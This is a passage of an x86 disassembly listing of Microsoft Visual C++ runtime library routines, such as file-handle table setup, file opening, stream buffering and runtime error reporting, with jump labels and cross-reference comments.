jnz short loc_4232BD
nop
call near ptr 2620B6Eh
mov edi, eax
cmp edi, ebx
jz short loc_4232F9
loc_4232BD: ; CODE XREF: ___:004232AFj
cmp [edi], bl
mov eax, edi
jz short loc_4232CD
loc_4232C3: ; CODE XREF: ___:004232C6j
; ___:004232CBj
inc eax
cmp [eax], bl
jnz short loc_4232C3
inc eax
cmp [eax], bl
jnz short loc_4232C3
loc_4232CD: ; CODE XREF: ___:004232C1j
sub eax, edi
inc eax
mov ebp, eax
push ebp
call sub_41B4D5
mov esi, eax
pop ecx
cmp esi, ebx
jnz short loc_4232E3
xor esi, esi
jmp short loc_4232EE
; ---------------------------------------------------------------------------
loc_4232E3: ; CODE XREF: ___:004232DDj
push ebp
push edi
push esi
call sub_41C310
add esp, 0Ch
loc_4232EE: ; CODE XREF: ___:004232E1j
push edi
nop
call near ptr 2630000h
mov eax, esi
jmp short loc_4232FB
; ---------------------------------------------------------------------------
loc_4232F9: ; CODE XREF: ___:00423209j
; ___:00423231j ...
xor eax, eax
loc_4232FB: ; CODE XREF: ___:004232A6j
; ___:004232F7j
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
retn
; ---------------------------------------------------------------------------
sub esp, 44h
push ebx
push ebp
push esi
push edi
push 100h
call sub_41B4D5
mov esi, eax
pop ecx
test esi, esi
jnz short loc_423322
push 1Bh
call sub_41DA29
pop ecx
loc_423322: ; CODE XREF: ___:00423318j
mov dword_4DC5C0, esi
mov dword_4DC6C0, 20h
lea eax, [esi+100h]
loc_423338: ; CODE XREF: ___:00423354j
cmp esi, eax
jnb short loc_423356
and byte ptr [esi+4], 0
or dword ptr [esi], 0FFFFFFFFh
mov byte ptr [esi+5], 0Ah
mov eax, dword_4DC5C0
add esi, 8
add eax, 100h
jmp short loc_423338
; ---------------------------------------------------------------------------
loc_423356: ; CODE XREF: ___:0042333Aj
lea eax, [esp+10h]
push eax
nop
call near ptr 2880000h
cmp word ptr [esp+42h], 0
jz loc_423432
mov eax, [esp+44h]
test eax, eax
jz loc_423432
mov esi, [eax]
lea ebp, [eax+4]
mov eax, 800h
cmp esi, eax
lea ebx, [esi+ebp]
jl short loc_42338C
mov esi, eax
loc_42338C: ; CODE XREF: ___:00423388j
cmp dword_4DC6C0, esi
jge short loc_4233E6
mov edi, offset dword_4DC5C4
loc_423399: ; CODE XREF: ___:004233DCj
push 100h
call sub_41B4D5
test eax, eax
pop ecx
jz short loc_4233E0
add dword_4DC6C0, 20h
mov [edi], eax
lea ecx, [eax+100h]
loc_4233B7: ; CODE XREF: ___:004233D1j
cmp eax, ecx
jnb short loc_4233D3
and byte ptr [eax+4], 0
or dword ptr [eax], 0FFFFFFFFh
mov byte ptr [eax+5], 0Ah
mov ecx, [edi]
add eax, 8
add ecx, 100h
jmp short loc_4233B7
; ---------------------------------------------------------------------------
loc_4233D3: ; CODE XREF: ___:004233B9j
add edi, 4
cmp dword_4DC6C0, esi
jl short loc_423399
jmp short loc_4233E6
; ---------------------------------------------------------------------------
loc_4233E0: ; CODE XREF: ___:004233A6j
mov esi, dword_4DC6C0
loc_4233E6: ; CODE XREF: ___:00423392j
; ___:004233DEj
xor edi, edi
test esi, esi
jle short loc_423432
loc_4233EC: ; CODE XREF: ___:00423430j
mov eax, [ebx]
cmp eax, 0FFFFFFFFh
jz short loc_423429
mov cl, [ebp+0]
test cl, 1
jz short loc_423429
test cl, 8
jnz short loc_42340B
push eax
call near ptr 2620000h
nop
test eax, eax
jz short loc_423429
loc_42340B: ; CODE XREF: ___:004233FEj
mov eax, edi
mov ecx, edi
sar eax, 5
and ecx, 1Fh
mov eax, dword_4DC5C0[eax*4]
lea eax, [eax+ecx*8]
mov ecx, [ebx]
mov [eax], ecx
mov cl, [ebp+0]
mov [eax+4], cl
loc_423429: ; CODE XREF: ___:004233F1j
; ___:004233F9j ...
inc edi
inc ebp
add ebx, 4
cmp edi, esi
jl short loc_4233EC
loc_423432: ; CODE XREF: ___:00423367j
; ___:00423373j ...
xor ebx, ebx
loc_423434: ; CODE XREF: ___:00423497j
mov eax, dword_4DC5C0
cmp dword ptr [eax+ebx*8], 0FFFFFFFFh
lea esi, [eax+ebx*8]
jnz short loc_42348F
test ebx, ebx
mov byte ptr [esi+4], 81h
jnz short loc_42344F
push 0FFFFFFF6h
pop eax
jmp short loc_423459
; ---------------------------------------------------------------------------
loc_42344F: ; CODE XREF: ___:00423448j
mov eax, ebx
dec eax
neg eax
sbb eax, eax
add eax, 0FFFFFFF5h
loc_423459: ; CODE XREF: ___:0042344Dj
push eax
nop
call near ptr 26207F1h
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_42347E
push edi
nop
call near ptr 2620000h
test eax, eax
jz short loc_42347E
and eax, 0FFh
mov [esi], edi
cmp eax, 2
jnz short loc_423484
loc_42347E: ; CODE XREF: ___:00423465j
; ___:00423470j
or byte ptr [esi+4], 40h
jmp short loc_423493
; ---------------------------------------------------------------------------
loc_423484: ; CODE XREF: ___:0042347Cj
cmp eax, 3
jnz short loc_423493
or byte ptr [esi+4], 8
jmp short loc_423493
; ---------------------------------------------------------------------------
loc_42348F: ; CODE XREF: ___:00423440j
or byte ptr [esi+4], 80h
loc_423493: ; CODE XREF: ___:00423482j
; ___:00423487j ...
inc ebx
cmp ebx, 3
jl short loc_423434
push dword_4DC6C0
call near ptr 2620AD0h
nop
pop edi
pop esi
pop ebp
pop ebx
add esp, 44h
retn
; ---------------------------------------------------------------------------
align 10h
push esi
inc ebx
xor dh, [eax]
pop eax
inc ebx
xor [eax], dh
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4234B8 proc near ; DATA XREF: sub_42205D+Ao
; sub_42218C+Ao ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push ebp
cld
mov ebx, [ebp+arg_4]
mov eax, [ebp+arg_0]
test dword ptr [eax+4], 6
jnz loc_423558
mov [ebp+var_8], eax
mov eax, [ebp+arg_8]
mov [ebp+var_4], eax
lea eax, [ebp+var_8]
mov [ebx-4], eax
mov esi, [ebx+0Ch]
mov edi, [ebx+8]
loc_4234EB: ; CODE XREF: sub_4234B8+90j
cmp esi, 0FFFFFFFFh
jz short loc_423551
lea ecx, [esi+esi*2]
cmp dword ptr [edi+ecx*4+4], 0
jz short loc_42353F
push esi
push ebp
lea ebp, [ebx+10h]
call dword ptr [edi+ecx*4+4]
pop ebp
pop esi
mov ebx, [ebp+arg_4]
or eax, eax
jz short loc_42353F
js short loc_42354A
mov edi, [ebx+8]
push ebx
call sub_41CB74
; ---------------------------------------------------------------------------
add esp, 4
lea ebp, [ebx+10h]
push esi
push ebx
call sub_41CBB6
add esp, 8
lea ecx, [esi+esi*2]
push 1
mov eax, [edi+ecx*4+8]
call sub_41CC4A
mov eax, [edi+ecx*4]
mov [ebx+0Ch], eax
call dword ptr [edi+ecx*4+8]
loc_42353F: ; CODE XREF: sub_4234B8+40j
; sub_4234B8+52j
mov edi, [ebx+8]
lea ecx, [esi+esi*2]
mov esi, [edi+ecx*4]
jmp short loc_4234EB
; ---------------------------------------------------------------------------
loc_42354A: ; CODE XREF: sub_4234B8+54j
mov eax, 0
jmp short loc_42356D
; ---------------------------------------------------------------------------
loc_423551: ; CODE XREF: sub_4234B8+36j
mov eax, 1
jmp short loc_42356D
; ---------------------------------------------------------------------------
loc_423558: ; CODE XREF: sub_4234B8+18j
push ebp
lea ebp, [ebx+10h]
push 0FFFFFFFFh
push ebx
call sub_41CBB6
add esp, 8
pop ebp
mov eax, 1
loc_42356D: ; CODE XREF: sub_4234B8+97j
; sub_4234B8+9Ej
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4234B8 endp
; ---------------------------------------------------------------------------
push ebp
mov ecx, [esp+8]
mov ebp, [ecx]
mov eax, [ecx+1Ch]
push eax
mov eax, [ecx+18h]
push eax
call sub_41CBB6
add esp, 8
pop ebp
retn 4
; =============== S U B R O U T I N E =======================================
sub_423590 proc near ; CODE XREF: sub_41DA29+9p
mov eax, dword_4DB2F0
cmp eax, 1
jz short loc_4235A7
test eax, eax
jnz short locret_4235C8
cmp dword_43A2C4, 1
jnz short locret_4235C8
loc_4235A7: ; CODE XREF: sub_423590+8j
push 0FCh
call sub_4235C9
mov eax, dword_4DB45C
pop ecx
test eax, eax
jz short loc_4235BD
call eax
loc_4235BD: ; CODE XREF: sub_423590+29j
push 0FFh
call sub_4235C9
pop ecx
locret_4235C8: ; CODE XREF: sub_423590+Cj
; sub_423590+15j
retn
sub_423590 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4235C9 proc near ; CODE XREF: sub_41DA29+12p
; sub_423590+1Cp ...
var_1A4 = byte ptr -1A4h
var_A0 = byte ptr -0A0h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1A4h
mov edx, [ebp+arg_0]
xor ecx, ecx
mov eax, offset dword_43C958
loc_4235DC: ; CODE XREF: sub_4235C9+20j
cmp edx, [eax]
jz short loc_4235EB
add eax, 8
inc ecx
cmp eax, offset off_43C9E8
jl short loc_4235DC
loc_4235EB: ; CODE XREF: sub_4235C9+15j
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword_43C958[esi]
jnz loc_423719
mov eax, dword_4DB2F0
cmp eax, 1
jz loc_4236F3
test eax, eax
jnz short loc_42361C
cmp dword_43A2C4, 1
jz loc_4236F3
loc_42361C: ; CODE XREF: sub_4235C9+44j
cmp edx, 0FCh
jz loc_423719
lea eax, [ebp+var_1A4]
push 104h
push eax
push 0
nop
call near ptr 2660000h
test eax, eax
jnz short loc_423653
lea eax, [ebp+var_1A4]
push offset aProgramNameUnk ; "<program name unknown>"
push eax
call sub_41BEB0
pop ecx
pop ecx
loc_423653: ; CODE XREF: sub_4235C9+75j
lea eax, [ebp+var_1A4]
push edi
push eax
lea edi, [ebp+var_1A4]
call sub_41AFE0
inc eax
pop ecx
cmp eax, 3Ch
jbe short loc_423696
lea eax, [ebp+var_1A4]
push eax
call sub_41AFE0
mov edi, eax
lea eax, [ebp+var_1A4]
sub eax, 3Bh
push 3
add edi, eax
push offset a___ ; "..."
push edi
call sub_41B5F0
add esp, 10h
loc_423696: ; CODE XREF: sub_4235C9+A2j
lea eax, [ebp+var_A0]
push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
push eax
call sub_41BEB0
lea eax, [ebp+var_A0]
push edi
push eax
call sub_41BEC0
lea eax, [ebp+var_A0]
push offset asc_427C10 ; "\n\n"
push eax
call sub_41BEC0
push off_43C95C[esi]
lea eax, [ebp+var_A0]
push eax
call sub_41BEC0
push 12010h
lea eax, [ebp+var_A0]
push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
push eax
call sub_424D78
add esp, 2Ch
pop edi
jmp short loc_423719
; ---------------------------------------------------------------------------
loc_4236F3: ; CODE XREF: sub_4235C9+3Cj
; sub_4235C9+4Dj
lea eax, [ebp+arg_0]
lea esi, off_43C95C[esi]
push 0
push eax
push dword ptr [esi]
call sub_41AFE0
pop ecx
push eax
push dword ptr [esi]
push 0FFFFFFF4h
nop
call near ptr 26207F1h
push eax
nop
call near ptr 26F0000h
loc_423719: ; CODE XREF: sub_4235C9+2Ej
; sub_4235C9+59j ...
pop esi
leave
retn
sub_4235C9 endp
; =============== S U B R O U T I N E =======================================
sub_42371C proc near ; CODE XREF: sub_423A33:loc_423BABp
push ebx
push esi
push edi
or ebx, 0FFFFFFFFh
xor edi, edi
xor esi, esi
mov ecx, offset dword_4DC5C0
loc_42372B: ; CODE XREF: sub_42371C+48j
mov eax, [ecx]
test eax, eax
jz short loc_423768
lea edx, [eax+100h]
loc_423737: ; CODE XREF: sub_42371C+28j
cmp eax, edx
jnb short loc_423757
test byte ptr [eax+4], 1
jz short loc_423746
add eax, 8
jmp short loc_423737
; ---------------------------------------------------------------------------
loc_423746: ; CODE XREF: sub_42371C+23j
or dword ptr [eax], 0FFFFFFFFh
sub eax, [ecx]
sar eax, 3
add eax, esi
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_4237AB
loc_423757: ; CODE XREF: sub_42371C+1Dj
add ecx, 4
inc edi
add esi, 20h
cmp ecx, offset dword_4DC6C0
jl short loc_42372B
jmp short loc_4237AB
; ---------------------------------------------------------------------------
loc_423768: ; CODE XREF: sub_42371C+13j
mov esi, 100h
push esi
call sub_41B4D5
test eax, eax
pop ecx
jz short loc_4237AB
add dword_4DC6C0, 20h
lea ecx, ds:4DC5C0h[edi*4]
lea edx, [eax+100h]
mov [ecx], eax
loc_42378E: ; CODE XREF: sub_42371C+88j
cmp eax, edx
jnb short loc_4237A6
and byte ptr [eax+4], 0
or dword ptr [eax], 0FFFFFFFFh
mov byte ptr [eax+5], 0Ah
mov edx, [ecx]
add eax, 8
add edx, esi
jmp short loc_42378E
; ---------------------------------------------------------------------------
loc_4237A6: ; CODE XREF: sub_42371C+74j
shl edi, 5
mov ebx, edi
loc_4237AB: ; CODE XREF: sub_42371C+39j
; sub_42371C+4Aj ...
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_42371C endp
; =============== S U B R O U T I N E =======================================
sub_4237B1 proc near ; CODE XREF: sub_423A33+1F4p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
cmp eax, dword_4DC6C0
push edi
jnb short loc_423811
mov ecx, eax
mov esi, eax
sar ecx, 5
and esi, 1Fh
lea edi, ds:4DC5C0h[ecx*4]
shl esi, 3
mov ecx, [edi]
cmp dword ptr [ecx+esi], 0FFFFFFFFh
jnz short loc_423811
cmp dword_43A2C4, 1
push ebx
mov ebx, [esp+0Ch+arg_4]
jnz short loc_423807
sub eax, 0
jz short loc_4237FE
dec eax
jz short loc_4237F9
dec eax
jnz short loc_423807
push ebx
push 0FFFFFFF4h
jmp short loc_423801
; ---------------------------------------------------------------------------
loc_4237F9: ; CODE XREF: sub_4237B1+3Ej
push ebx
push 0FFFFFFF5h
jmp short loc_423801
; ---------------------------------------------------------------------------
loc_4237FE: ; CODE XREF: sub_4237B1+3Bj
push ebx
push 0FFFFFFF6h
loc_423801: ; CODE XREF: sub_4237B1+46j
; sub_4237B1+4Bj
nop
call near ptr 2610C10h
loc_423807: ; CODE XREF: sub_4237B1+36j
; sub_4237B1+41j
mov eax, [edi]
mov [eax+esi], ebx
xor eax, eax
pop ebx
jmp short loc_423825
; ---------------------------------------------------------------------------
loc_423811: ; CODE XREF: sub_4237B1+Cj
; sub_4237B1+28j
and dword_4DB27C, 0
mov dword_4DB278, 9
or eax, 0FFFFFFFFh
loc_423825: ; CODE XREF: sub_4237B1+5Ej
pop edi
pop esi
retn
sub_4237B1 endp
; =============== S U B R O U T I N E =======================================
sub_423828 proc near ; CODE XREF: sub_41DA72+7Cp
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
push esi
cmp ecx, dword_4DC6C0
push edi
jnb short loc_42388B
mov eax, ecx
mov esi, ecx
sar eax, 5
and esi, 1Fh
lea edi, ds:4DC5C0h[eax*4]
shl esi, 3
mov eax, [edi]
add eax, esi
test byte ptr [eax+4], 1
jz short loc_42388B
cmp dword ptr [eax], 0FFFFFFFFh
jz short loc_42388B
cmp dword_43A2C4, 1
jnz short loc_423881
xor eax, eax
sub ecx, eax
jz short loc_423878
dec ecx
jz short loc_423873
dec ecx
jnz short loc_423881
push eax
push 0FFFFFFF4h
jmp short loc_42387B
; ---------------------------------------------------------------------------
loc_423873: ; CODE XREF: sub_423828+41j
push eax
push 0FFFFFFF5h
jmp short loc_42387B
; ---------------------------------------------------------------------------
loc_423878: ; CODE XREF: sub_423828+3Ej
push eax
push 0FFFFFFF6h
loc_42387B: ; CODE XREF: sub_423828+49j
; sub_423828+4Ej
nop
call near ptr 2610C10h
loc_423881: ; CODE XREF: sub_423828+38j
; sub_423828+44j
mov eax, [edi]
or dword ptr [eax+esi], 0FFFFFFFFh
xor eax, eax
jmp short loc_42389F
; ---------------------------------------------------------------------------
loc_42388B: ; CODE XREF: sub_423828+Cj
; sub_423828+2Aj ...
and dword_4DB27C, 0
mov dword_4DB278, 9
or eax, 0FFFFFFFFh
loc_42389F: ; CODE XREF: sub_423828+61j
pop edi
pop esi
retn
sub_423828 endp
; =============== S U B R O U T I N E =======================================
sub_4238A2 proc near ; CODE XREF: sub_41DA72+32p
; sub_41DA72+49p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, dword_4DC6C0
jnb short loc_4238CA
mov ecx, eax
and eax, 1Fh
sar ecx, 5
mov ecx, dword_4DC5C0[ecx*4]
test byte ptr [ecx+eax*8+4], 1
lea eax, [ecx+eax*8]
jz short loc_4238CA
mov eax, [eax]
retn
; ---------------------------------------------------------------------------
loc_4238CA: ; CODE XREF: sub_4238A2+Aj
; sub_4238A2+23j
and dword_4DB27C, 0
mov dword_4DB278, 9
or eax, 0FFFFFFFFh
retn
sub_4238A2 endp
; =============== S U B R O U T I N E =======================================
sub_4238DF proc near ; CODE XREF: sub_41DB50+2Bp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, dword_4DC6C0
jnb short loc_423928
mov ecx, eax
mov edx, eax
sar ecx, 5
and edx, 1Fh
mov ecx, dword_4DC5C0[ecx*4]
test byte ptr [ecx+edx*8+4], 1
jz short loc_423928
push eax
call sub_4238A2
pop ecx
push eax
nop
call near ptr 26107F5h
test eax, eax
jnz short loc_42391D
nop
call near ptr 2670897h
jmp short loc_42391F
; ---------------------------------------------------------------------------
loc_42391D: ; CODE XREF: sub_4238DF+34j
xor eax, eax
loc_42391F: ; CODE XREF: sub_4238DF+3Cj
test eax, eax
jz short locret_423935
mov dword_4DB27C, eax
loc_423928: ; CODE XREF: sub_4238DF+Aj
; sub_4238DF+22j
mov dword_4DB278, 9
or eax, 0FFFFFFFFh
locret_423935: ; CODE XREF: sub_4238DF+42j
retn
sub_4238DF endp
; =============== S U B R O U T I N E =======================================
sub_423936 proc near ; DATA XREF: ___:00429024o
mov eax, dword_4DC5A0
push esi
push 14h
test eax, eax
pop esi
jnz short loc_42394A
mov eax, 200h
jmp short loc_423950
; ---------------------------------------------------------------------------
loc_42394A: ; CODE XREF: sub_423936+Bj
cmp eax, esi
jge short loc_423955
mov eax, esi
loc_423950: ; CODE XREF: sub_423936+12j
mov dword_4DC5A0, eax
loc_423955: ; CODE XREF: sub_423936+16j
push 4
push eax
call sub_424E01
pop ecx
mov dword_4DB598, eax
test eax, eax
pop ecx
jnz short loc_423989
push 4
push esi
mov dword_4DC5A0, esi
call sub_424E01
pop ecx
mov dword_4DB598, eax
test eax, eax
pop ecx
jnz short loc_423989
push 1Ah
call sub_41DA29
pop ecx
loc_423989: ; CODE XREF: sub_423936+30j
; sub_423936+49j
xor ecx, ecx
mov eax, offset off_43C9E8
loc_423990: ; CODE XREF: sub_423936+6Ej
mov edx, dword_4DB598
mov [ecx+edx], eax
add eax, 20h
add ecx, 4
cmp eax, offset dword_43CC68
jl short loc_423990
xor edx, edx
mov ecx, offset dword_43C9F8
loc_4239AD: ; CODE XREF: sub_423936+A1j
mov eax, edx
mov esi, edx
sar eax, 5
and esi, 1Fh
mov eax, dword_4DC5C0[eax*4]
mov eax, [eax+esi*8]
cmp eax, 0FFFFFFFFh
jz short loc_4239CA
test eax, eax
jnz short loc_4239CD
loc_4239CA: ; CODE XREF: sub_423936+8Ej
or dword ptr [ecx], 0FFFFFFFFh
loc_4239CD: ; CODE XREF: sub_423936+92j
add ecx, 20h
inc edx
cmp ecx, offset dword_43CA58
jl short loc_4239AD
pop esi
retn
sub_423936 endp
; =============== S U B R O U T I N E =======================================
sub_4239DB proc near ; DATA XREF: ___:00429034o
; FUNCTION CHUNK AT 00424EB2 SIZE 00000058 BYTES
call sub_41DBE7
cmp byte_4DB2B8, 0
jz short locret_4239EE
jmp loc_424EB2
; ---------------------------------------------------------------------------
locret_4239EE: ; CODE XREF: sub_4239DB+Cj
retn
sub_4239DB endp
; =============== S U B R O U T I N E =======================================
sub_4239EF proc near ; CODE XREF: sub_41F043+32p
; sub_41F58A+6Cp ...
arg_0 = dword ptr 4
inc dword_4DB460
push 1000h
call sub_41B4D5
pop ecx
mov ecx, [esp+arg_0]
test eax, eax
mov [ecx+8], eax
jz short loc_423A18
or dword ptr [ecx+0Ch], 8
mov dword ptr [ecx+18h], 1000h
jmp short loc_423A29
; ---------------------------------------------------------------------------
loc_423A18: ; CODE XREF: sub_4239EF+1Aj
or dword ptr [ecx+0Ch], 4
lea eax, [ecx+14h]
mov [ecx+8], eax
mov dword ptr [ecx+18h], 2
loc_423A29: ; CODE XREF: sub_4239EF+27j
mov eax, [ecx+8]
and dword ptr [ecx+4], 0
mov [ecx], eax
retn
sub_4239EF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423A33 proc near ; CODE XREF: sub_41F32D+13Fp
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 1Ch
mov ecx, [ebp+arg_4]
push ebx
xor ebx, ebx
push esi
test cl, 80h
push edi
mov [ebp+var_1C], 0Ch
mov [ebp+var_18], ebx
jz short loc_423A59
mov [ebp+var_14], ebx
mov [ebp+var_1], 10h
jmp short loc_423A64
; ---------------------------------------------------------------------------
loc_423A59: ; CODE XREF: sub_423A33+1Bj
and [ebp+var_1], 0
mov [ebp+var_14], 1
loc_423A64: ; CODE XREF: sub_423A33+24j
mov eax, 8000h
test ecx, eax
jnz short loc_423A7E
test ch, 40h
jnz short loc_423A7A
cmp dword_4DB570, eax
jz short loc_423A7E
loc_423A7A: ; CODE XREF: sub_423A33+3Dj
or [ebp+var_1], 80h
loc_423A7E: ; CODE XREF: sub_423A33+38j
; sub_423A33+45j
push 3
mov eax, ecx
pop esi
and eax, esi
sub eax, ebx
jz short loc_423AB6
dec eax
jz short loc_423AAD
dec eax
jz short loc_423AA4
loc_423A8F: ; CODE XREF: sub_423A33+9Fj
; sub_423A33+E8j ...
mov dword_4DB278, 16h
mov dword_4DB27C, ebx
jmp loc_423CC9
; ---------------------------------------------------------------------------
loc_423AA4: ; CODE XREF: sub_423A33+5Aj
mov [ebp+var_C], 0C0000000h
jmp short loc_423ABD
; ---------------------------------------------------------------------------
loc_423AAD: ; CODE XREF: sub_423A33+57j
mov [ebp+var_C], 40000000h
jmp short loc_423ABD
; ---------------------------------------------------------------------------
loc_423AB6: ; CODE XREF: sub_423A33+54j
mov [ebp+var_C], 80000000h
loc_423ABD: ; CODE XREF: sub_423A33+78j
; sub_423A33+81j
mov eax, [ebp+arg_8]
cmp eax, 10h
jz short loc_423AEB
cmp eax, 20h
jz short loc_423AE2
cmp eax, 30h
jz short loc_423AD9
cmp eax, 40h
jnz short loc_423A8F
mov [ebp+var_10], esi
jmp short loc_423AEE
; ---------------------------------------------------------------------------
loc_423AD9: ; CODE XREF: sub_423A33+9Aj
mov [ebp+var_10], 2
jmp short loc_423AEE
; ---------------------------------------------------------------------------
loc_423AE2: ; CODE XREF: sub_423A33+95j
mov [ebp+var_10], 1
jmp short loc_423AEE
; ---------------------------------------------------------------------------
loc_423AEB: ; CODE XREF: sub_423A33+90j
mov [ebp+var_10], ebx
loc_423AEE: ; CODE XREF: sub_423A33+A4j
; sub_423A33+ADj ...
mov edx, 700h
mov eax, 400h
and ecx, edx
mov edi, 100h
cmp ecx, eax
jg short loc_423B38
jz short loc_423B33
cmp ecx, ebx
jz short loc_423B33
cmp ecx, edi
jz short loc_423B2A
cmp ecx, 200h
jz short loc_423B51
cmp ecx, 300h
jnz loc_423A8F
mov [ebp+var_8], 2
jmp short loc_423B61
; ---------------------------------------------------------------------------
loc_423B2A: ; CODE XREF: sub_423A33+D8j
mov [ebp+var_8], 4
jmp short loc_423B61
; ---------------------------------------------------------------------------
loc_423B33: ; CODE XREF: sub_423A33+D0j
; sub_423A33+D4j
mov [ebp+var_8], esi
jmp short loc_423B61
; ---------------------------------------------------------------------------
loc_423B38: ; CODE XREF: sub_423A33+CEj
cmp ecx, 500h
jz short loc_423B5A
cmp ecx, 600h
jz short loc_423B51
cmp ecx, edx
jz short loc_423B5A
jmp loc_423A8F
; ---------------------------------------------------------------------------
loc_423B51: ; CODE XREF: sub_423A33+E0j
; sub_423A33+113j
mov [ebp+var_8], 5
jmp short loc_423B61
; ---------------------------------------------------------------------------
loc_423B5A: ; CODE XREF: sub_423A33+10Bj
; sub_423A33+117j
mov [ebp+var_8], 1
loc_423B61: ; CODE XREF: sub_423A33+F5j
; sub_423A33+FEj ...
mov eax, [ebp+arg_4]
mov esi, 80h
test eax, edi
jz short loc_423B80
mov ecx, dword_4DB280
not ecx
and ecx, [ebp+arg_C]
test cl, 80h
jnz short loc_423B80
push 1
pop esi
loc_423B80: ; CODE XREF: sub_423A33+138j
; sub_423A33+148j
test al, 40h
jz short loc_423B8E
or esi, 4000000h
or byte ptr [ebp+var_C+2], 1
loc_423B8E: ; CODE XREF: sub_423A33+14Fj
test ah, 10h
jz short loc_423B95
or esi, edi
loc_423B95: ; CODE XREF: sub_423A33+15Ej
test al, 20h
jz short loc_423BA1
or esi, 8000000h
jmp short loc_423BAB
; ---------------------------------------------------------------------------
loc_423BA1: ; CODE XREF: sub_423A33+164j
test al, 10h
jz short loc_423BAB
or esi, 10000000h
loc_423BAB: ; CODE XREF: sub_423A33+16Cj
; sub_423A33+170j
call sub_42371C
mov ebx, eax
or edi, 0FFFFFFFFh
cmp ebx, edi
jnz short loc_423BCC
and dword_4DB27C, 0
mov dword_4DB278, 18h
jmp short loc_423C0A
; ---------------------------------------------------------------------------
loc_423BCC: ; CODE XREF: sub_423A33+184j
push 0
push esi
push [ebp+var_8]
lea eax, [ebp+var_1C]
push eax
push [ebp+var_10]
push [ebp+var_C]
push [ebp+arg_0]
nop
call near ptr 27008BBh
mov esi, eax
cmp esi, edi
jz short loc_423BFD
push esi
nop
call near ptr 2620000h
test eax, eax
jnz short loc_423C11
push esi
nop
call near ptr 26509C6h
loc_423BFD: ; CODE XREF: sub_423A33+1B6j
call near ptr 2670897h
nop
push eax
call sub_4203DF
pop ecx
loc_423C0A: ; CODE XREF: sub_423A33+197j
mov eax, edi
jmp loc_423CE7
; ---------------------------------------------------------------------------
loc_423C11: ; CODE XREF: sub_423A33+1C1j
cmp eax, 2
jnz short loc_423C1C
or [ebp+var_1], 40h
jmp short loc_423C25
; ---------------------------------------------------------------------------
loc_423C1C: ; CODE XREF: sub_423A33+1E1j
cmp eax, 3
jnz short loc_423C25
or [ebp+var_1], 8
loc_423C25: ; CODE XREF: sub_423A33+1E7j
; sub_423A33+1ECj
push esi
push ebx
call sub_4237B1
pop ecx
mov al, [ebp+var_1]
pop ecx
mov esi, ebx
mov ecx, ebx
or al, 1
sar ecx, 5
and esi, 1Fh
mov byte ptr [ebp+arg_0+3], al
lea edi, ds:4DC5C0h[ecx*4]
shl esi, 3
mov ecx, [edi]
and byte ptr [ebp+arg_0+3], 48h
mov [ecx+esi+4], al
jnz short loc_423CCE
test al, 80h
jz short loc_423CCE
test byte ptr [ebp+arg_4], 2
jz short loc_423CCE
push 2
push 0FFFFFFFFh
push ebx
call sub_42272B
add esp, 0Ch
cmp eax, 0FFFFFFFFh
mov [ebp+var_10], eax
jnz short loc_423C83
cmp dword_4DB27C, 83h
jz short loc_423CCE
jmp short loc_423CC2
; ---------------------------------------------------------------------------
loc_423C83: ; CODE XREF: sub_423A33+240j
and byte ptr [ebp+arg_8+3], 0
lea eax, [ebp+arg_8+3]
push 1
push eax
push ebx
call sub_41F11C
add esp, 0Ch
test eax, eax
jnz short loc_423CB0
cmp byte ptr [ebp+arg_8+3], 1Ah
jnz short loc_423CB0
push [ebp+var_10]
push ebx
call sub_424F0A
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_423CC2
loc_423CB0: ; CODE XREF: sub_423A33+265j
; sub_423A33+26Bj
push 0
push 0
push ebx
call sub_42272B
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jnz short loc_423CCE
loc_423CC2: ; CODE XREF: sub_423A33+24Ej
; sub_423A33+27Bj
push ebx
call sub_41DA72
pop ecx
loc_423CC9: ; CODE XREF: sub_423A33+6Cj
or eax, 0FFFFFFFFh
jmp short loc_423CE7
; ---------------------------------------------------------------------------
loc_423CCE: ; CODE XREF: sub_423A33+221j
; sub_423A33+225j ...
cmp byte ptr [ebp+arg_0+3], 0
jnz short loc_423CE5
test byte ptr [ebp+arg_4], 8
jz short loc_423CE5
mov eax, [edi]
or byte ptr [eax+esi+4], 20h
lea eax, [eax+esi+4]
loc_423CE5: ; CODE XREF: sub_423A33+29Fj
; sub_423A33+2A5j
mov eax, ebx
loc_423CE7: ; CODE XREF: sub_423A33+1D9j
; sub_423A33+299j
pop edi
pop esi
pop ebx
leave
retn
sub_423A33 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423CEC proc near ; CODE XREF: sub_41F515+5Ep
; sub_4200E8+9Ap
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
